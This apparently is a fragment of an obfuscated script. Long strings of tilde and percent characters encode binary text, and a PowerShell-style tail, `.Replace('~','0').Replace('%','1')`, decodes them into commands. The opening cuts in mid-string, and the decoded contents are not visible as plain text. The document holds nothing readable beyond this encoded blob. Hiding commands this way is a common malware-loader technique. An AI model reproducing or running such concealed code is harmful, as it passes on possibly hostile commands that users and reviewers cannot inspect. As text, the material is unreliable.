~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~%~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~%%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~~%~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%%~~%~~%%%~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~%~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~~%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%%~~%~~%%~%%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~%~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~~~~%%%~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~%~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~~%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~~%~~~%%%~%%~~%~~%%~~~%~~~%%~~%%%~~%~~%%~%%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~%~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~%%~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~~~~%%%~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%%~~%~~%%%~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~%~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~~~~%%%~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~%~~~%%~%~%~~%%%~%%~~%~~%%%~~%~%~~%~~%~%~~%~~%~~~%~~~%~%~~%~~~~%~%~~~%~~%~~~%%%~~~~~~%~~~~~~~%%%%~%~~%~~~~~~~%%~~~~~~~~%~%~~%~%%~%%~%~%%~%~~%~%~~~%~%~~~~%%~%~%~%~%~%~%~%%%~%~%%%~%~~%%%~%~~~%%%~%~~%~%~%%~~%%~%~~%~%%%~~%~~%%%~%~~~%%%~%~%~%%~~~~%~%%~%%~~~%~%~~~~~%%%~~%~~%%~%%%%~%%%~%~~~%%~~%~%~%%~~~%%~%%%~%~~~~%~%~~~~~%~~%~~~%~%%~~~~%~%~~~~~%~%%~~%~%~~%%~%~%~%~%%%~%~%~~%~~~%~%%~~~~%~~~~~~%~%%~%%~%%%~%~%~%%~%~~%~%%~%%%~~%%%~%~~~~%%~~%%~~%%~~%~~%~%%%~%~~%%~%~%~~%~%%~~~~%~~~~~~~%%~~~~~%%%%~~~~~%%~%~~~~%%~~~~~~%~%%~~~~%~~~~~~%~%%~%%~%%%~~%~~%%~~%~%~%%~~%%~~%~%%%~%~~%~~%~~~%%%~~~~~~%~%~~%~~~~%~%~~~%~~%~~~%~%~%~~~%~~%%~~~%~~%%~%~%~~%%~~~~%~~~~~~~%%%%~%~~%~~~~~~~%~~~%~~~%%~~~~~%%%%~~~~%~~~~%~~~%%%~~~~~%~~~%~~~~~%~%~~~%~~%~~~%~%~~~~~%~%~%~%~%~%~~%~~%~%%~~~~~%~~~~~~~%%%%~%~~%~~~~~~~%~~~%~~~%%~~~~~%%%%~~~~~%%~%~%~~%%~%%%~~%~~~%~~~~~%~%~~~%~~%~~~%~%%~~%~%~~%%%~~%~%~%%%~%~~%%~~~~%~~~~~~~%%%%~%~~%~~~~~~~%~~~%~~~%%~~~~~%%%%~~~~~%%~~~~~~%%~~~~~~%~~~%~~~~~%~%~~~%~~%~~~%~%~~%~~%~%~%~~~%~~~%%%~%~%%~~~~~%~~~~~~~%%%%~%~~%~~~~~~~%~~~%~~~%%~~~~~%%%%~~~~~%%~~~~~~%%~%%%~~%~~~%~~~~~%~%~~~%~~%~~~%~%%~~~~%~%~%%~~%~~%%%%~%~~%%%~~~%~~~~~~~%%%%~%~~%~~~~~~~%~~~%~~~%%~~~~~%%%%~~~~~%%%~~~~~%%~~~~~~%~~~%~~~~~%~%~~~%~~%~~~%~%~%%%~%~%~~%~~%~%~%~%~%~~~%~~~~%~~~~~~~%%%%~%~~%~~~~~~~%~~~%~~~%%~~~~~%%%%~~~~%~~~~%%~~%%~~%%~~%~~~%~~~~~%~%~~~%~~%~~~%~~%~%%~%~%~%~~~%~~%%~%~%~~%~%~~%~%%~~~~~%~~~~~~~%%%%~%~~%~~~~~~%~%%~%%~%~~~~%~~%%%%~~%~%%%~%~~~%%~~%~%~%~%%~%%~%~%%%~%~%~%%%~%~~%~~~~~~~%~%~~~~~%~~%~~~%~%~%~~~%~~%%~~~%~~%%~%~%~~%%~~~~%~%%~~~~%~~%~~~%~%~~~~~%~%~%~%~%~%~~%~~%~%%~~~~~%~%%~~~~%~~%~~~%~%%~~%~%~~%%%~~%~%~%%%~%~~%%~~~~%~%%~~~~%~~%~~~%~%~~%~~%~%~%~~~%~~~%%%~%~%%~~~~~%~%%~~~~%~%~%%~~%~~%~~~%~%%~~~~%~%~%%~~%~~%%%%~%~~%%%~~~%~%%~~~~%~%~%%~~%~~%~~~%~%~%%%~%~%~~%~~%~%~%~%~%~~~%~~~~%~%~~%~~~~%~%~~%~%%~%%~%~%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%~%%%~~%~%~~%~~%%%~%~%~%%~%%%~~%%%~%~~~%%~%~~%~%%~%%~%~%%~~%~%~~%~%%%~~%~~%~~%~%%~%%%~~%%%~%~~~%%~~%~%~%%%~~%~~%%~%%%%~%%%~~~~~%~%~~%%~%%~~%~%~%%%~~%~~%%%~%%~~%%~%~~%~%%~~~%%~%%~~%~%~%%%~~%%~~%~%%%~~%~~%%~%~%%~~~~%~%%%~~%~~%%%~~%%~%%~%~~~~%%~~~~%~%%~%%~~~%~%%%~%~~%%%~%~~~%%%~%~~%~~~~%%~%%~%%%%~%%%~~~~~%%%%~~%~~%~%~~~~~%~~%~~~%~~%~%%~%~%~%~~~%~~%%~%~%~~%~%~~%~%%~~~~~%~%%~~~~%~~~~~~~%%~~~~~~%~%%~~~~%~~~~~~~%~~%~~~%~%%~~~~%~%~~~~~%~%%~~%~%~~%%~%~%~%~%%%~%~%~~%~~~%~%%~~~~%~~~~~~~%%~%%~~~%~%~~%~~~~%~%~".Replace('~','0').Replace('%','1')))
~%%%~~%%~%%%~%~~~%%~~~~%~%%%~~%~~%%%~%~~~~%~%%~%~%%%~~%%~%%~%%~~~%%~~%~%~%%~~%~%~%%%~~~~~~%~~~~~~~%%~~%~~~%%~~%%~~~~%~%~~~%~~~%%~~%~~~~~~%~~~%~~~%%~%~~%~%%%~~%%~%%~~~~%~%%~~~%~~%%~%%~~~%%~~%~%~~%~~~~~~%~%~~%%~%%~~~%%~%%%~~%~~%%~%~~%~%%%~~~~~%%%~%~~~~%~~~~~~%~~%%~~~%%~%%%%~%%~~%%%~%%~~%%%~%%~%~~%~%%~%%%~~%%~~%%%~~%%%~%~~~~~%~%~~~%~~%~~~%%%~~%%~%%~~%~%~%%%~%~~~%%%~%~~~%%~%~~%~%%~%%%~~%%~~%%%~%%%~~%%~~%~~~~~~~%%%%~%~~%~~~~~~%~%%~%%~%~%~~%~~%%~~%~%~%%~~%%~~%~%%%~%~~%~%%%~~%~~~~~%~%%%~~%%~%%%~~%%~%%~~%~%~%%~%%~%~%%~~~%~~%%~%%~~~%%%%~~%~~%~%%%~~%~~~%%%~%%~~%~%~%%%~%~~~%~%~%~~~%%%%~~%~%%%~~~~~%%~~%~%~~%~%~~~~~%~~~%~~%~%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%~%%%~~%~~%%~%~%%~~~~%~%%~%%%~~%%~~~~%~%%~~%%%~%%~~%~%~%%~%%~%~%%~~%~%~%%~%%%~~%%%~%~~~~%~%%%~~%~~~~~%~%%%~%~%~%%%~%~~~%%~%%%%~%%~%%~%~%%~~~~%~%%%~%~~~%%~%~~%~%%~%%%%~%%~%%%~~~%~%%%~~%~%~%~%~%%%~%~~~%%~%~~%~%%~%%~~~%%%~~%%~~%~~~%~~~%~%~~%~~%~%%%~~%~~~%%%~%%~~%~%~%%%~%~~~%~~~%%~~%%~%~~%~%%~~%~%~%%~%%~~~%%~~%~~~~%~%~~~~~%~~~%~~%%~~~%%~%%~~~~%~%%~~~%%~%%~%~~~~%%~~%~%~%%~~%~~~%~~~%%%~%%%~~%~~%%~%%%%~%%%~%~%~%%%~~~~~%~%~~~~~%%~%%%%~%%~%%~~~%%~%~~%~%%~~~%%~%%%%~~%~%~%~~%%~%%~~%~%~%%%~%~~~%%%~%~~~%%~%~~%~%%~%%%~~%%~~%%%~%%%~~%%~~%~~~%~~~%~%%~~~~%~~~%~~%~~%%%~~%%~%%%%~%%~%%%~~%~%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~%%~~~%~%~~%%~%%%~%~~~%%~~~~%~%%%~%~~~%%~%~~%~%%~~~%%~~%~~~%~~~%~%~~%~~%~%%%~~%~~~%%%~%%~~%~%~%%%~%~~~%~%~%%~~%%~~~~%~%%~%%~~~%%%~%~%~%%~~%~%~~%~%~~~~~%~~%~~~%%~%%%~~%%%~%~%~%%~%%~~~%%~%%~~~~%~%~~%~~%%%~%%~~~~%~%~~~%~~%~~~%%%~~%%~%%~~%~%~%%%~%~~~%%%~%~~~%%~%~~%~%%~%%%~~%%~~%%%~%%%~~%%~%~%%~%%~~%~~~%~~%~~%~~~~%~~%~%%~%~~~%~%~%~%%~~%~%~%%%%%~%~~%%~~~%~~%%%%~%~~~~%%~%~~~~~%~%~~%%~~~%~%%%%%~%~~%%~%~%~~~~~%~%~~~~%%~%~~%~~~~%~~%~~%~%~~%%%~~%~~~%~%~%~%%%~~~%~%~~%%~%%~%%%%~%%~~%%~~%%%~%~~~%%%~%%%~%%~~~~%~%%%~~%~~%%~~%~%~%~%%%~~~%~%~~~~~%%~%%%%~%%~%%~~~%%~%~~%~%%~~~%%~%%~%~~%~%%~~%~%~%%%~~%%~%~%%%~~~%~~%%~%~%%~%~~%~%%~~~%%~%%%~~%~~%%~%%%%~%%%~~%%~%%~%%%%~%%~~%%~~%%%~%~~~%~%%%~~~%~%~%%%~%%~%~~%~%%~%%%~~%%~~%~~~%%~%%%%~%%%~%%%~%%%~~%%~%~%%%~~~%~%~~~~~%%~%%%%~%%%~%%%~%%~~%~%~%%%~~%~~%~%~~%%~%%~%~~~~%%~~%~%~%%~%%~~~%%~%%~~~%~%%%~~~%~%~~%%~%%~~~%%~%%%~~%~~%%~%~~%~%%%~~~~~%%%~%~~~%~~~~%~~%%~%%~~~%%~%%%%~%%~~~%%~%%~%~%%~%~~%%~~~%%~%%%%~%%~~%%%~%%~~%%%~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~%~~%~%%%~%~~%~~~~~~~%%%%~%~~%~~~~~~%~~~~~~~%%%%~%%~%%%%%~%~~~~%~%~~~%~~%~~~%%%~~%%~%%~~%~%~%%%~%~~~%%%~%~~~%%~%~~%~%%~%%%~~%%~~%%%~%%%~~%%~%~%%~%%~~%~~~%~~%~~%~~~~%~~%~%%~%~~~%~%~%~%%~~%~%~%%%%%~%~~%%~~~%~~%%%%~%~~~~%%~%~~~~~%~%~~%%~~~%~%%%%%~%~~%%~%~%~~~~~%~%~~~~%%~%~~%~~~~%~~%~~%~%~~%%%~~%~~~%~%~%~%%%~~~%~%~~%%~%%~%%%%~%%~~%%~~%%%~%~~~%%%~%%%~%%~~~~%~%%%~~%~~%%~~%~%~%~%%%~~~%~%~~~~~%%~%%%%~%%~%%~~~%%~%~~%~%%~~~%%~%%~%~~%~%%~~%~%~%%%~~%%~%~%%%~~~%~~%%~%~%%~%~~%~%%~~~%%~%%%~~%~~%%~%%%%~%%%~~%%~%%~%%%%~%%~~%%~~%%%~%~~~%~%%%~~~%~%~%%%~%%~%~~%~%%~%%%~~%%~~%~~~%%~%%%%~%%%~%%%~%%%~~%%~%~%%%~~~%~%~~~~~%%~%%%%~%%%~%%%~%%~~%~%~%%%~~%~~%~%~~%%~%%~%~~~~%%~~%~%~%%~%%~~~%%~%%~~~%~%%%~~~%~%~~%%~%%~~~%%~%%%~~%~~%%~%~~%~%%%~~~~~%%%~%~~~%~~~~%~~%%~%%~~~%%~%%%%~%%~~~%%~%%~%~%%~%~~%%~~~%%~%%%%~%%~~%%%~%%~~%%%~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~%~~%~%%%~%~~%~%%%~~%~~~~~%~%%~~%~~~%%~~%~~~~%~%~~~~~%~~~%~~%~~~%~%~%%~%%%~~%%~~~~%~%%~~~%~~%%~%%~~~%%~~%~%~%~%~~%%~%%~~~%%~%%%~~%~~%%~%~~%~%%%~~~~~%%%~%~~~%~~~~%~~%%~%%~~~%%~%%%%~%%~~~%%~%%~%~%%~%~~%%~~~%%~%%%%~%%~~%%%~%%~~%%%~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~%~~~%~%%~~~~%~~~~~~~%~~~%~~~%%~~~~~~%~~~%~~~%~%~~%~~~~%~%~~~~~%~%~~~%~~~%%~~%~~~~~~%~~%%~%~%%~~~~%~%%%~%~~~%%%~%~~~~%~~~~~~%~~~%%%~%%%~~%~~%%~~~~%~%%~~%~%~%%~~~%~~%%~~%~%~%%%~~%~~%%%~~%%~~%~~~~~~%~%~~%~~%%~~%~%~%%~~%%~~%%~%%~~~%%~~%~%~%%~~~%%~%%%~%~~~%%~%~~%~%%~%%%%~%%~%%%~~~%~~~~~~%%~%%~%~%%~~%~%~%%%~%~~~%%~%~~~~%%~%%%%~%%~~%~~~~%%%~%~~~~~%~%~~%~%%~%%~%~%~~%~~%%~~%~%~%%~~%%~~%~%%%~%~~%~%%%~~%~~~~~%~%%%~~%%~%%%~~%%~%%~~%~%~%%~%%~%~%%~~~%~~%%~%%~~~%%%%~~%~~%~%%%~~%~~~%%%~%%~~%~%~%%%~%~~~%~%~%~~~%%%%~~%~%%%~~~~~%%~~%~%~~%~%~~~~~%~~%%%~%~%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%~%%%~~%~~%%~%~%%~~~~%~%%~%%%~~%%~~~~%~%%~~%%%~%%~~%~%~%%~%%~%~%%~~%~%~%%~%%%~~%%%~%~~~~%~%%%~~%~~~~~%~%%%~%~%~%%%~%~~~%%~%%%%~%%~%%~%~%%~~~~%~%%%~%~~~%%~%~~%~%%~%%%%~%%~%%%~~~%~%%%~~%~~~~~%~%%~%%~%~%%%~~%%~%%~%~~%~%~%~%~%~%%%~%~~~%%~%~~%~%%~%%~~~%%%~~%%~~%~~%%%~~%~%~~%~~%~%%%~~%~~~%%%~%%~~%~%~%%%~%~~~%~~~%%~~%%~%~~%~%%~~%~%~%%~%%~~~%%~~%~~~~%~%~~~~~%~~%%%~%%~~~~%~%%~%%~%~%%%~~%%~%%~%~~%~%~~%~~%~%%~%%%~~%%~%~~%~%%%~%~~~%~~~%%~~%%~~~~%~%%~%~~%~%%~%%~~~%%~~%~%~%%~~%~~~~%~~%%%~~%~%%~~~~%~~%%%~%~~%%%~~%%~%%%%~%%~%%%~~%~%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~%%~~~%~%~~%%~%%%~%~~~%%~~~~%~%%%~%~~~%%~%~~%~%%~~~%%~~%~~%%%~~%~%~~%~~%~%%%~~%~%~~%%~%%~~%~%~%%%~%~~~%~%~%%~~%%~~~~%~%%~%%~~~%%%~%~%~%%~~%~%~~%~%~~~~~%~~%~~~%%~%%%~~%%%~%~%~%%~%%~~~%%~%%~~~~%~%%~~~~%~~%~~~%%%~%~~~%%%~~%~~%%%~%~%~%%~~%~%~~%~%~~%~~~~%~%~~~~~%~%~~~%~~~%%~~%~~~~~~%~~~%%~~%%~%%%%~%%%~~%~~%%~~~%%~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~~~~%%~~~~%~%%~%%%~~~%~~~~~~%%~~%~%~%%%~~%~~%%%~~%~~%%~%%%%~%%%~~%~~~%%%~%~~~~~%~%~~~%~~%~~~%%~%%~%~%%~~%~%~%%~%%~%~~%~~~~~~~%%%%~%~~%~~~~~~%~%%~%%~%~%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%~%%%~~%~%~~%~~%%%~%~%~%%~%%%~~%%%~%~~~%%~%~~%~%%~%%~%~%%~~%~%~~%~%%%~~%~~%~~%~%%~%%%~~%%%~%~~~%%~~%~%~%%%~~%~~%%~%%%%~%%%~~~~~%~%~~%%~%%~~%~%~%%%~~%~~%%%~%%~~%%~%~~%~%%~~~%%~%%~~%~%~%%%~~%%~~%~%%%~~%~~%%~%~%%~~~~%~%%%~~%~~%%%~~%%~%%~%~~~~%%~~~~%~%%~%%~~~%~%%%~%~~%%%~%~~~%%%~%~~%~~~~~%~%%~%%~~~%%~%%~~~%%~%%%%~%%~~~%%~%~~%~~~~%~~~%%%~%%~%%~~~%%~%%%%~%%~~~%~~%%~~~~%~%%~%%~~~~%~%~~~~~%%%~~%~~%%~~~~~~%%~%%%~~%%~%%~~~%~%~~%~~~~%~%~~%~%%~%%~%~%~~%~~%%~~%~%~%%~~%%~~%~%%%~%~~%~%%%~~%~~~~~%~%%%~~%%~%%%~~%%~%%~~%~%~%%~%%~%~%%~~~%~~%%~%%~~~%%%%~~%~~%~%%%~~%~~~%%%~%%~~%~%~%%%~%~~~%~%~%~~~%%%%~~%~%%%~~~~~%%~~%~%~~%~%~~~~~%~~~%~~%~%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%~%%%~~%~~%%~%~%%~~~~%~%%~%%%~~%%~~~~%~%%~~%%%~%%~~%~%~%%~%%~%~%%~~%~%~%%~%%%~~%%%~%~~~~%~%%%~~%~~~~~%~%%%~%~%~%%%~%~~~%%~%%%%~%%~%%~%~%%~~~~%~%%%~%~~~%%~%~~%~%%~%%%%~%%~%%%~~~%~%%%~~%~~~~~%~%%~%%~%~%%%~~%%~%%~%~~%~%~%~%~%~%%%~%~~~%%~%~~%~%%~%%~~~%%%~~%%~~%~~~%~~~%~%~~%~~%~%%%~~%~~~%%%~%%~~%~%~%%%~%~~~%~~~%%~~%%~%~~%~%%~~%~%~%%~%%~~~%%~~%~~~~%~%~~~~~%~~~%~~%%~~~~%~%%~%%~%~%%%~~%%~%%~%~~%~%~%~~%%~%%~~%~%~%%%~~%%~%%%~~%%~%%~%~~%~%%~%%%%~%%~%%%~~~%~~~%~~~%~%%~~~~%~~~%~~%~~%%%~~%%~%%%%~%%~%%%~~%~%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~%%~~~%~%~~%%~%%%~%~~~%%~~~~%~%%%~%~~~%%~%~~%~%%~~~%%~~%~~~%~~~%~%~~%~~%~%%%~~%~%~~%%~%%~~%~%~%%%~%~~~%~%~%%~~%%~~~~%~%%~%%~~~%%%~%~%~%%~~%~%~~%~%~~~~~%~~%~~~%%~%%%~~%%%~%~%~%%~%%~~~%%~%%~~~~%~%%~~~~%~~~~~~~%~~%~~~%%~%%%~~%%%~%~%~%%~%%~~~%%~%%~~~~%~%~~%~~%%%~%%~%~%%~%%~%~%~~%~~%%~~%~%~%%~~%%~~%~%%%~%~~%~%%%~~%~~~~~%~%%%~~%%~%%%~~%%~%%~~%~%~%%~%%~%~%%~~~%~~%%~%%~~~%%%%~~%~~%~%%%~~%~~~%%%~%%~~%~%~%%%~%~~~%~%~%~~~%%%%~~%~%%%~~~~~%%~~%~%~~%~%~~~~~%~~~%~~%~%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%~%%%~~%~~%%~%~%%~~~~%~%%~%%%~~%%~~~~%~%%~~%%%~%%~~%~%~%%~%%~%~%%~~%~%~%%~%%%~~%%%~%~~~~%~%%%~~%~~~~~%~%%%~%~%~%%%~%~~~%%~%%%%~%%~%%~%~%%~~~~%~%%%~%~~~%%~%~~%~%%~%%%%~%%~%%%~~~%~%%%~~%~~~~~%~%%~%%~%~%%%~~%%~%%~%~~%~%~%~%~%~%%%~%~~~%%~%~~%~%%~%%~~~%%%~~%%~~%~~~%~~~%~%~~%~~%~%%%~~%~~~%%%~%%~~%~%~%%%~%~~~%~~~%%~~%%~%~~%~%%~~%~%~%%~%%~~~%%~~%~~~~%~%~~~~~%~~~%~~%%~~~~%~%%~%%~%~%%%~~%%~%%~%~~%~%~~~~%%~%%~%%%%~%%~%%%~~%%%~%~~~%%~~%~%~%%%%~~~~%%%~%~~~~%~~~%~~~%~%%~~~~%~~~%~~%~~%%%~~%%~%%%%~%%~%%%~~%~%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~%%~~~%~%~~%%~%%%~%~~~%%~~~~%~%%%~%~~~%%~%~~%~%%~~~%%~~%~~~%~~~%~%~~%~~%~%%%~~%~%~~%%~%%~~%~%~%%%~%~~~%~%~%%~~%%~~~~%~%%~%%~~~%%%~%~%~%%~~%~%~~%~%~~~~~%~~%~~~%%~%%%~~%%%~%~%~%%~%%~~~%%~%%~~~~%~%%~~~~%~~~~~~%~%%~%%~%~~%~~%~%%~%%%~~%%%~%~~~%~%~~~~~%%%~%~~~%%%~~%~~%~%%%~%~~%~~%~~~%%~%%~%~%%~~%~%~%%~%%~%~~%~%~~%~~~~%~%~~~~~%~%~~~~~%~%~~%%%~~%%~%%%~%~~~%%~~~~%~%%%~~%~~%%%~%~~~~%~%%~%~%%%~~%%~%%~%%~~~%%~~%~%~%%~~%~%~%%%~~~~~~%~~~~~~~%%~~~%~~%%~~%~~~~~%~%~~~%~~%~~~%~%~%%%~%%~%~~%~%%~%%%~~~%%~~%%~~%%~~%~~~%~~~~~~~%%%%~%~~%~~~~~~%~~~~~~~~%~~~%~~~~~%~%~~%%%~%~%~%%%~~%%~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~~~~%~%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%%%~%%~~~~%~%~~%%%~%~%~%%%~~%%~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~~~~%~%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%~%%%~~%~%~~%~~%%%~%~%~%%~%%%~~%%%~%~~~%%~%~~%~%%~%%~%~%%~~%~%~~%~%%%~~%~~%~~%~%%~%%%~~%%%~%~~~%%~~%~%~%%%~~%~~%%~%%%%~%%%~~~~~%~%~~%%~%%~~%~%~%%%~~%~~%%%~%%~~%%~%~~%~%%~~~%%~%%~~%~%~%%%~~%%~~%%%~%%~~~~%~%~~%%%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%~~~%%~%%~%%~~~%%~~~~%~%%%~~%%~%%%~~%%~~%~~~~~~%~%~%%%~%%~%~~%~%%~%%%~~~%%~~%%~~%%~~%~~~%~~~~~~%%%%~%%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%~%%~%%~%~~~%~~~%%~%%~~~%%~%%~~~%~~%~~%~%%~%%~%~%%%~~~~~%%~%%%%~%%%~~%~~%%%~%~~~~%~%~~~~~%~~~%~~%%~%~%%~%%~~%~%~%%%~~%~~%%~%%%~~%%~~%~%~%%~%%~~~~%%~~%%~~%%~~%~~~%~~~%~~~%~%~~%~%~%%%~%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%%%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%%~~%%~%%%~%~~~%%~~~~%~%%%~%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%~~%~%~%%%%~~~~%%%~%~~~%%~~%~%~%%%~~%~~%%~%%%~~~%~~~~~~%~~%~~%~%%~%%%~~%%%~%~~~%~%~~~~~%%%~%~~~%%%~~%~~~%~~~~~~%~~~%%%~%%~~%~%~%%%~%~~~%~%~~~~~%%%~~%~~%%~%%%%~%%~~~%%~%~~~~~%~%%~~%~~~%%~~%~~~%%%~~%~~%%~~%~%~%%%~~%%~%%%~~%%~~%~%~~~~%~~%~~%~%%~%%%~~%%%~%~~~%~%~~~~~%%%~%~~~%%%~~%~~~%~~~~~~%%~%~~~~%~~%%~%~%%~%%%%~%%~~%~~~%%%~%~%~%%~%%~~~%%~~%~%~~%~%%~~~~%~~~~~~%%%~~%%~%%%~%~~~%%%~~%~~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~~~~%%%~~~~~%%%~~%~~%%~%%%%~%%~~~%%~%~~%%%~~%%~~~~%~%%~%%~%~%%~~%~%~~%~%~~%~~%%%~%%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%~%%~%%~%~~~%~~~%%~%%~~~%%~%%~~~%~~%~~%~%%~%%~%~%%%~~~~~%%~%%%%~%%%~~%~~%%%~%~~~~%~%~~~~~%~~~%~~%%~%~%%~%%~~%~%~%%%~~%~~%%~%%%~~%%~~%~%~%%~%%~~~~%%~~%%~~%%~~%~~~%~~~%~~~%~%~~%~%~%%%~%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%%%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%%~~%%~%%%~%~~~%%~~~~%~%%%~%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%~~%~%~%%%%~~~~%%%~%~~~%%~~%~%~%%%~~%~~%%~%%%~~~%~~~~~~%~~%~~%~%%~%%%~~%%%~%~~~%~%~~~~~%%%~%~~~%%%~~%~~~%~~~~~~%~~%%~~~%%~%%%%~%%~~~~%~%%~~%~~~%~~%%~~~%%~%~~%~%%~~~%~~%%%~~%~~%%~~~~%~%%%~~%~~%%%%~~%~~%~%~~~~%%%~~%%~%%%~%~~~%%%~~%~~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~~~~%%~%%%~~%%~~~~%~%%~%%~%~%%~~%~%~~%~%~~%~~%%%~%%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%~%%~%%~%~~~%~~~%%~%%~~~%%~%%~~~%~~%~~%~%%~%%~%~%%%~~~~~%%~%%%%~%%%~~%~~%%%~%~~~~%~%~~~~~%~~~%~~%%~%~%%~%%~~%~%~%%%~~%~~%%~%%%~~%%~~%~%~%%~%%~~~~%%~~%%~~%%~~%~~~%~~~%~~~%~%~~%~%~%%%~%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%%%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%%~~%%~%%%~%~~~%%~~~~%~%%%~%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%~~%~%~%%%%~~~~%%%~%~~~%%~~%~%~%%%~~%~~%%~%%%~~~%~~~~~~%%~~~%~~%%~%%%%~%%~%%%%~%%~%%~~~~%~~~~~~%~%~%%~~%%~%~~%~%%%~~%~~%%%~%~~~%%%~%~%~%%~~~~%~%%~%%~~~%~%~~~~~%%%~~%~~%%~%%%%~%%%~%~~~%%~~%~%~%%~~~%%~%%%~%~~~~%~%~~~~%~~%~~%~%%~%%%~~%%%~%~~~%~%~~~~~%%%~%~~~%%%~~%~~~%~~~~~~%%~%%~~~%%%~~~~~%~~~~~%~%%~~%~~~%%~~%~~~%%%~~%~~%%~~%~%~%%%~~%%~%%%~~%%~~%~%%~~~~%~~~~~~%~%~%~%~%~~%~~%~%%~%%%~~%%%~%~~~%~%~~~~~%%%~%~~~%%%~~%~~~%~~~~~~%%~~%~~~%%%~%%%~%~%~~%%~%%~%~~%~%%%%~%~~%%~~%~%~~%~%%~~~~%~~~~~~%%%~%~%~%%~%~~%~%%~%%%~~%%%~%~~~~%~~~~~~%%~~%%~~%%~%%~~~%~~%%%~~%%~~%~%~%%%~%%%~%~%~~~~~%%%~~%~~%%~%%%%~%%%~%~~~%%~~%~%~%%~~~%%~%%%~%~~~~%~%%~~~~%~~~~~~%%~%%%%~%%%~%~%~%%%~%~~~~%~~~~~~%%%~%~%~%%~%~~%~%%~%%%~~%%%~%~~~~%~~~~~~%%~%%~~~%%%~~~~~%%~~%%~~%%~%%~~~%~~%%%%~%%~%%~~~%%~~%~~~%~%~~~~~%%%~~%~~%%~%%%%~%%%~%~~~%%~~%~%~%%~~~%%~%%%~%~~~~%~%~~%~~%%%~%%~~~~%~%~~%%%%%~%~~~~%~%~~~%~~~%~~%~~~~~~~~~~%~%~~~~~%~%~~%~~~~~%~%%~~%~~~%%~~%~~~~%~%%~%~%~%~%~~~%%%%~~%~%%%~~~~~%%~~%~%~~%~~~~~~~%~~%~~~%~%~%%%~%%~%~~%~%%~%%%~~~%%~~%%~~%%~~%~~~~~%~%~~~